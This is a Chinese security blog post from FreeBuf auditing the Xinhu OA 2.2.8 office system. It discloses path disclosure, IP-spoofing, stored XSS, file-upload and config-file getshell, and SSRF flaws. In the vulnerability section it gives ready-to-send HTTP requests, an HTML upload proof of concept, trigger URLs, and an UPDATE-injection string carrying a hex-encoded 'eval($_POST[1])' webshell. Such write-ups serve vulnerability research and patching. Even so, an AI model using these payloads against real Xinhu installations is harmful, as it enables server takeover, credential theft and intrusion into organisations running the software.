freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

通读审计之信呼OA
2021-08-26 23:44:27

0x01 前言

信呼OA是一款自主MVC的办公系统,官网:http://www.rockoa.com/

由于它的模型,控制器,视图的路由写法与其他自主MVC框架的CMS不太相同,挖掘出来的某些0day漏洞需要脑洞,简单来说“特别有趣”,那么笔者在此记载它的漏洞详情。

本次通读为信呼OA的2.2.8最新版本,如图:

0x02 路由结构的了解

整个故事从index.php开始说起,如图:

第八行包含了config/config.php文件,我们跟进,如图:

可以看到rockFun.php文件只是定义了一系列方法,Chajian.php文件则是定义了Chajian类,rockClass.php文件定义了rockClass类文件,在config.php的第17行中调用了 new rockClass,我们看一下rockClass类的__construct方法,如图:

在rockClass类的构造方法中,我们可以看到,该类的成员属性几乎都是对用户的访问信息进行记载,这里我们最需要关注的就是第31行的getclientip成员方法,该方法存在ip伪造,这一点可能在我们后期审计时,审计出ip伪造所造成的漏洞,虽然被htmlspecialchars方法所过滤,但是我们要知道的是,htmlspecialchars是不会过滤单引号的。

那么我们回到config.php文件继续往下通读。

在图中,蓝色边框所标记的代码块为过滤代码块。

仔细一看过滤是没有什么问题,简单翻译下来就是,将传递过来的$_GET[p]中的单引号实体化,将%20删除(这里需要注意,在url传输时,%20已经被解析为空格,所以这里不会过滤空格),如果键值在以下数组中:

array('m','a','p','d','ip','web','host','ajaxbool','token','adminid')

那么将经过xssrepstr方法处理,最终返回reteistrs方法的结果,reteistrs方法的主要内容是将“/*”以及“*/”字符进行递归删除处理。

绝对路径泄露:

最直接的问题来自于图中黄色边框所标记的$this->jm->base64decode($s);代码块,此时我们的jm成员属性并没有被初始化,当前值为NULL,如果直接调用base64decode,那么PHP会直接抛出错误。

传递“?p=basejm_”,如图:

这里会直接暴露出目标的绝对路径。

那么get方法的封装我们就了解到这里,我们继续往下通读,如图:

在58行中,我们可以看到调用了rock对象的strformat方法,该方法的封装非常类似于python的format方法。随后包含了“WEB根目录/webmain/webmainConfig.php”文件,该文件为配置文件,将该文件的数组结构依次传递给$config变量。

黑名单IP绕过:

继续往下通读:

但其实这里的ip封杀模块,是可以通过client-ip进行伪造的,这里也是功能模块出现的问题,那么我们把目光放到最后一行的$rock->initRock();方法,如图:

可以看到,之前我们所说的绝对路径泄露问题,在这里才进行初始化jm成员属性,那么这里jm对象的很多方法笔者在后面会进行介绍。

那么config.php文件就这样的读完了,我们回到index.php中继续通读,如图:

这里我们可以看到,从外部接收$m,$d,$a,与$ajaxbool。这些变量就深深联系上了后期代码块的MVC关系。

那么我们把目光放到最后一行的include_once('include/View.php');

Include/View.php文件如图:

这里主要关注$actfile,如图:

再往下则是该CMS自写的模板解析功能,如图:

至此,我们已经了解框架运行原理,下面我们定义一个自己的控制器。

定义目录/文件结构如下:

访问url:“?d=test&m=heihu577&a=tester”如图:

在梳理好控制器的访问规则以及模板文件的位置之后,我们便可以开始挖掘漏洞。

0x03 漏洞信息

前台存储型XSS漏洞

其实这个点还是遗憾又有趣的,有趣点在于它是由多个小问题而引发出来的大问题,遗憾点是因为一处过滤让它原本可以进行前台SQL注入的现在只可以进行XSS攻击。我们看一下漏洞情况如下:

在管理员登录界面,单机“登录”按钮后我们可以看到url所访问的php文件,如图:

定位到\webmain\login\loginAction.php文件,如图:

跟进ActionNot类,如图:

可以看到,ActionNot类将大多数xxxAjax方法覆盖为空了,在笔者仔细的检查下,还剩下getoptionAjax方法没有被重写,我们看一下getoptionAjax方法的逻辑。如图:

跟进getdata方法,如图:

可以看到,getpids方法中调用了getmou方法,这里$num由于是get方法传递过来的,虽然经过了层层过滤,但是在那几层过滤中,是没有过滤反斜杠(\)的。

这里我们跟进getmou方法,如图:

当num最后一位为反斜杠时,SQL语句变为,select xxx from xxx where abc=’\’,至此SQL语句出现问题,从而抛出异常,触发debug的addlogs方法,在该cms中,debug是默认被开启的,我们跟进addlogs方法,如图:

注意到第七行的记录IP,我们之前知道,IP是可以被伪造的,虽然过滤了空格,但是我们可以使用tab键来进行绕过。这里最大的痛点就是将圆括号给过滤掉了,导致我们无法进行sql注入,我们跟进insert方法,如图:

至此,我们可以在log表中插入xss代码,当管理员查看“日志管理”功能时,触发xss,发送HTTP请求:

POST /?m=login&a=getoption&ajaxbool=true&num=aaaa\ HTTP/1.1

Host: www.rockcms.cn

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Client-ip:111',web= [XSS代码的hex编码]+[(tab键)--(tab键)]

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

Content-Type: application/x-www-form-urlencoded

Content-Length: 0

如图:

在后台管理员的“日志查看”处进行触发XSS:

XSS平台收信:

后台文件上传getshell

往深来讲,这个点不能说是文件上传getshell,而是修改文件名getshell。

文件上传接口:\webmain\task\api\uploadAction.php,如图:

我们可以看到,该接口过滤很死,不存在上传漏洞。

但是在 \webmain\task\runt\qcloudCosAction.php文件的runAction方法中,如图:

从数据库中获取fileext,那么上传php文件的ext也就是php,我们可以先上传php文件后再进行修改文件名,如图(数据库):

随后进入createtxt函数:

写入PHP文件。

编写上传文件POC:

<!DOCTYPE html>

<html lang="en">

<head>

<meta charset="UTF-8">

<meta http-equiv="X-UA-Compatible" content="IE=edge">

<meta name="viewport" content="width=device-width, initial-scale=1.0">

<title>Document</title>

</head>

<body>

<form action="http://题目/api.php?m=upload&a=upfile&adminid=&device=1625923765752&cfrom=mweb&token=&sysmodenum=officia&sysmid=0&maxsize=2" method="post" enctype="multipart/form-data">

<input type="file" name="file">

<input type="submit">

</form>

</body>

</html>

上传php文件成功后,我们获取页面返回的id,如图:

随后访问http://域名/task.php?m=qcloudCos|runt&a=run&fileid=刚刚的ID

即可生成php文件,如图:

Phpinfo:

后台配置文件getshell

为什么有了后台文件上传,笔者还在这里写一种配置文件getshell呢?

其实这个配置文件点非常有趣,它是与sql注入update类型的组合拳才可以进行完成,所以笔者在此分享这个小小的姿势。

在\webmain\system\geren\gerenAction.php文件中,我们可以看到这样一串代码:

很明显的一处注入漏洞,由于它所操作的是admin表,所以这个点非常有趣。我们再看一下\webmain\system\cog\cogAction.php文件的一些代码,如图:

这里的adminname成员属性,则对应了admin表中的name字段,如图:

这里虽然使用了//注释,但是//注释只是单行注释,并不是多行,导致我们使用换行符就可以进行配置文件getshell了,那么我们可以通过update注入点,来修改数据库中的name值,来进行配置文件getshell。

操作步骤如下:

登录系统 --> 发包:

/index.php?a=changestyle&m=geren&d=system&ajaxbool=true&style=21,id=1,name=0x610A6576616C28245F504F53545B315D293B2F2F

如图:

清除COOKIES再登录系统 --> 发包:

/index.php?a=savecong&m=cog&d=system&ajaxbool=true&rnd=705961

如图:

配置文件成功插入一句话马,如图:

后台SSRF漏洞

在\webmain\main\xinhu\xinhuAction.php文件中,观察如下代码:

跟进getcurl方法,如图:

赤裸裸的SSRF,在\webmain\main\xinhu\xinhuAction.php文件的setsaveAjax方法中,可以设置地址,如图:

设置url地址包:

POST /index.php?a=setsave&m=xinhu&d=main&ajaxbool=true HTTP/1.1

Host: www.rockcms.cn

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Cookie: PHPSESSID=kb05c6pclv3c86adkameji5n00; deviceid=1629988220572; xinhu_mo_adminid=jj0amm0tt0amm0jl0lj0jl0aau0jj0amm0jf0ol02; xinhu_ca_adminuser=admin; xinhu_ca_rempass=0

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

Content-Type: application/x-www-form-urlencoded

Content-Length: 25


host=http://www.baidu.com/

攻击payload:

http://www.rockcms.cn/index.php?a=testsends&m=xinhu&d=main&ajaxbool=true

如图:

0x04 尾巴

文中记载了笔者挖掘出有趣的漏洞,什么?你问我别的漏洞在哪?去记事本挖!


# web安全 # 代码审计
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录